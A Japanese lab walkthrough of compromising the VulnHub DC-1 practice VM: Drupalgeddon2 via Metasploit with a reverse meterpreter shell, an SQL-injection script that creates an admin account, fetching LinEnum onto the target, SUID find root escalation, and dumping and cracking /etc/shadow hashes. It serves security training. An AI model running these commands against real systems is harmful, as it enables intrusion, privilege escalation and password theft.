ペネトレーションツール用の練習として、DC-1に侵入。
手順
1.対象用の仮想環境のダウンロード https://www.vulnhub.com/entry/dc-1-1,292/
ここから、DC-1の.zipファイルをダウンロードする。
2.virtualboxでの展開
ファイル→仮想アプライアンスのインポートから、解凍した.ovaファイルを選択、
設定→下に表示されているエラーをすべて取り除く→実行 前提条件として、
対象と同じネットに侵入している。
今回のゴールは、ウェブサーバーに侵入する。
3.偵察
サーバーに関する情報収集 DC-1をvirtualboxで展開したときにログイン画面が出てきますが、まだユーザー名もパスワードもわかっていないのでそれから探らないといけない。
sudo netdiscover
同一lan内のipアドレスを収集。ここでは、DC-1のIPを192.168.3.20と仮定。
Currently scanning: 192.168.14.0/16 | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 6 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.3.1 30:f7:72:be:b9:b9 1 42 Hon Hai Precision Ind. Co.,L
192.168.3.2 10:6f:3f:e6:28:40 1 60 BUFFALO.INC
192.168.3.8 44:09:b8:8c:f4:72 1 60 Salcomp (Shenzhen) CO., LTD.
192.168.3.20 08:00:27:70:a8:d7 1 42 PCS Systemtechnik GmbH
192.168.3.13 76:df:f0:17:f4:de 1 42 Unknown vendor
192.168.3.5 3a:f2:b0:f4:d0:64 1 54 Unknown vendor
nmap -A -p- 192.168.3.20
のos,ソフトウェアの情報を収集。
-Aは、os・ソフトウェアのバージョンなどの詳細を表示。
-p-は、すべてのポートを指定。
Nmap scan report for 192.168.3.20
Host is up (0.00026s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33571/udp status
| 100024 1 38353/tcp6 status
| 100024 1 39659/tcp status
|_ 100024 1 53619/udp6 status
39659/tcp open status 1 (RPC #100024)
Device type: general purpose
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.26 ms 192.168.3.20
OS and Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 18.77 seconds
ここから、DC-1は、
Apacheのサーバーを使用してて(=このサーバーはウェブサーバーである)、CMS(Contents Management System:コンテンツ・マネジメント・システム)は、Drupal siteを使用しているとわかる。
このウェブサーバーにアクセスするためにブラウザで192.168.3.20にアクセスする
すると、このようなサイトが表示される。
user loginとpasswordがあるようなので、そこを探れないかと考える。
4.既知の脆弱性の検索
まず、このウェブサーバーのApacheとCMSがアップデートされていないので、既知の脆弱性がないかを調べる。
(Apacheの最新版は、2021/6/4時点でApache 2.4.48。Drupalの最新版は、2021/6/4時点でDrupal 9.x.x。)
searchsploit "Apache 2.2.22"
Apacheから検索。
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code | php/remote/29316.py
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory L | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of S | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/764.c
Apache Struts 2 < 2.3.1 - Multiple Vulnerabil | multiple/webapps/18329.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - | multiple/remote/44556.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLo | multiple/remote/41690.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Para | multiple/webapps/44583.txt
Apache Tomcat < 5.5.17 - Remote Directory Lis | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Tra | multiple/remote/6229.txt
Webfroot Shoutbox < 2.32 (Apache) - Local Fil | linux/remote/34.pl
---------------------------------------------- ---------------------------------
Shellcodes: No Results
searchsploit "drupal 7.0"
>
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/34992.py
Drupal < 7.58 - 'Drupalgeddon3' (Authenticate | php/webapps/44542.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticate | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalg | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalg | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Serv | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remo | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Exec | php/webapps/46459.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results
Drupal 7.0の方が、有名で(脆弱性に名前がついてて)簡単そうなので
今回は、drupal 7.0の脆弱性をつくことにする。
今回突く脆弱性は、searchsploitの検索で一番上に出てきた
「Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Inject | php/webapps/34984.py」
5.攻撃
Exploit Deatabaseで脆弱性に対する.pyが公開されているのでそれを使う。 msfconsole -q
metasploitを起動 -qは、ソースを表示しないオプション
msf6
metasploitの起動に成功。対話的プログラムなのでここに書いていく。
msf6 > search Drupalgeddon
Draupalgeddonをmetasploit内で検索。
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
Drupalgeddon 2 Forms API Property Injection
Interact with a module by name or index. For example info 0, use 0 or use
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
useコマンドでexploit/unix/webapp/drupal_drupalgeddon2を使うと指定。
set rhost 192.168.3.20
rhostとは、Remote hostで攻撃/調査対象ホストのこと。setコマンドでrhostを指定。
rhost => 192.168.3.20
msf6 exploit(unix/webap/drupal_drupalgeddon2) > show options
showコマンドで実際に攻撃する前に内容を確認する。
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:p
ort[,type:host:port][...]
RHOSTS 192.168.3.20 yes The target host(s), range CIDR iden
tifier, or hosts file with syntax '
file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing conn
ections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.3.17 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
確認完了。
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
確認も終わったとこでexploitで実際に攻撃していく。
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:p
ort[,type:host:port][...]
RHOSTS 192.168.3.20 yes The target host(s), range CIDR iden
tifier, or hosts file with syntax '
file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing conn
ections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.3.17 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
攻撃が成功して、meterpreterが開かれる。
meterpreter > shell
shellを起動。
6.サーバーの探検!
以下、meterpreter内
$ ls
COPYRIGHT.txt
INSTALL.pgsql.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
flag1.txt
includes
misc
modules
profiles
scripts
sites
themes
web.config
$ whoami
www-data
/var/www
$ cd /
$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cd /tmp
$ ls
$ cd ../
$ cd usr
$ ls
bin
games
include
lib
lib64
local
sbin
share
src
現在ログインしてるユーザーは、www-dataである。
あと、まあいろんなことがわかったとこで、さっきsearchmetasploitでわかっているExploitコードを実行する。
自分のparrot osの(meterpreterを使っているターミナルとは別のターミナルで)、
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443.
.. connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/txt]
Saving to: ‘34992’
34992 [ <=> ] 11.73K --.-KB/s in 0s
2021-06-04 21:53:09 (92.6 MB/s) - ‘34992’ saved [12016]
#mv 34992 exploit.py
______ __ _______ _______ _____
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
|. | \| _| | | _ | _ | | |___| _|___| |.| |
|. | |__| |_____| __|___._|__| / |___(__ `-|. |
|: 1 / |__| | | |: 1 | |: |
|::.. . / | | |::.. . | |::.|
`------' `---' `-------' `---'
_______ __ ___ __ __ __
| _ .-----| | | .-----|__.-----.----| |_|__.-----.-----.
| 1___| _ | | |. | | | -__| __| _| | _ | |
|____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|
|: 1 | |__| |: | |___|
|::.. . | |::.|
`-------' `---'
Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
Admin 4cc0unt cr3at0r
Discovered by:
Stefan Horst
(CVE-2014-3704)
Written by:
Claudio Viviani
info@homelab.it
homelabit@protonmail.ch
[!] VULNERABLE!
[!] Administrator user created!
[*] Login: root
[*] Pass: toor
まず、wgetで対象のexlpoitコードをダウンロード
mvコマンドで34992をexploit.pyと、.pyに変換する。
そして、exploit.pyを実行。
オプションがわかんなければ一回なにも入れずに実行してみる。そうすればhelpが出てくるから。
34992のexplitコードはsqlインジェクションなので新しいユーザーとパスワードを攻撃対象のサイトに作れた。
サイトに、ユーザー名:root パスワード:toorでログインしてみる。
ログインできた。
7.権限昇格
LinEnum.shというローカルlinuxのファイルと特権昇格をチェックするスクリプトを実行して権限の上昇を試みる。
$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
こっちで行けた。
um/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199
.111.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.19
9.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: `LinEnum.sh.1'
0K .......... .......... .......... .......... ..... 100% 2.20M=0.02s
2021-06-04 23:13:13 (2.20 MB/s) - `LinEnum.sh.1' saved [46631/46631]
実行結果は、長いけど大切なのはここの部分。
[-] SUID files:
-rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount
-rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-dae
mon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs
普通は、ファイルの実行をするときはログインしているユーザーで行われるが、SUID(SetUserID)が定義されているファイルはどのユーザーが実行してもSUIDのユーザーが実行することになる。
よって、findコマンドを使って権限昇格を狙う。
$ touch x
$ find x -exec "whoami" \;
root
$ find x -exec "/bin/sh" \;
$whoami
root
これで、root権限に昇格できた。
ちなみに、findの-execオプションはfindの検索結果の結果を渡して別のコマンドを実行するためのもの。
8.ユーザーのパスワード奪取
/etc/shadowにはユーザーのパスワードがハッシュ関数になって記録されているので、それをparrot osのJohnで解析する。
cat /etc/shadow
なぜかmoreにするとshellが落ちる。
root:$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7Iq
PlbBCmzpokVmn13ZhVyQGrQ4phd/:17955:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7
lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::
rootのパスワードは、toorでさっき作ったアカウントのこと。
今回は、ユーザー名もパスワードもはっきりしているflag4のハッシュを解析する。
自機のJohn専用にターミナルを開いて、
john /tmp/flag4 --wordlist=/usr/share/wordlists/rockyou.txt
johnで解析、flag4は上のハッシュ関数が書かれたファイルで、パスワードの辞書にはrockyou.txtを置く。
すると、このハッシュ関数が"orange"を示しているとわかる。
これを使って、sshでこのサーバーにログインする。>
ssh flag4@192.168.3.20
The authenticity of host '192.168.3.20 (192.168.3.20)' can't be established.
ECDSA key fingerprint is SHA256:89B+YqcNl4cSf/BZk26MQG1QeW4BvBlVENMbTRhVhsU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.3.20' (ECDSA) to the list of known ho
flag4@192.168.3.20's password:
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
permitted by applicable law.
flag4@DC-1:~$
最初にこのssh通信は、足跡が残りますけどいいですか?と聞かれる。
パスワードを求められるので、ここにはorangeと入力して、ログインする。